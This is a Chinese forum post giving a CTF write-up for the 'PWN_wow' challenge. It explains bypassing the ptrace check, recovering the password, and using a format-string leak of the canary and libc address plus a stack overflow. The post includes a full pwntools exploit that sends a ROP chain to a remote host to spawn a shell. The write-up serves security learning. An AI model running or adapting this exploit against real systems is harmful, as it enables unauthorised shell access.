首页
社区
课程
招聘
第三题:PWN_wow
发表于: 2018-6-21 20:22 2694

第三题:PWN_wow

2018-6-21 20:22
2694

By:二进制忍者


test函数里面有ptrace,gdb调试之前还要把test函数nop掉。
逆向分析,程序边解码边执行,得到程序的口令是evXnaK,输入口令进行下一步。
后面有两个漏洞:格式化字符串漏洞和栈溢出漏洞;printf格式化串漏洞,可以泄露canary和libc地址;read栈溢出,可以覆盖返回地址。

可以先用格式化字符串泄露15$处的libc段的一个地址,以及13$处的canary,
分析题目给出的环境 ubuntu16.04 4.4.0-91-generic,以及泄露的libc地址,推断出libc版本是libc-2.23_ubuntu_amd64.so,
然后利用泄露的libc地址计算出system和"/bin/sh"字符串的地址,
最后利用ROP技术一次,执行system("/bin/sh"),注意把刚才得到的canary填充到相应位置,就能绕过canary保护。

from pwn import *
context.log_level='debug'
env=os.environ
env['LD_PRELOAD']='./mylibc.so'
#r=process('./wow2')
r=remote('139.199.99.130',65188)

plt_puts=0x400580
rdiret=0x400b23
rsir15ret=0x400b21
vuln=0x400a5e
got_puts=0x601018
got_start=0x601038

r.sendline('evXnaK%15$p,%13$p')
r.recvuntil('0x')
leak=int(r.recv(12),16)
print "[+]leak: "+hex(leak)
r.recvuntil(',')
canary=int(r.recvline(),16)
print "[+]canary: "+hex(canary)
system=leak-0x7f823c89a830+0x7f823c8bf390
binsh=system-0x7f6157d2f390+0x7f6157e76d57

r.sendline('a'*88+p64(canary)+'aaaaaaaa'+p64(rdiret)+p64(binsh)+p64(system))
r.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 201
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
好好好
2018-6-21 20:23
0
游客
登录 | 注册 方可回帖
返回
//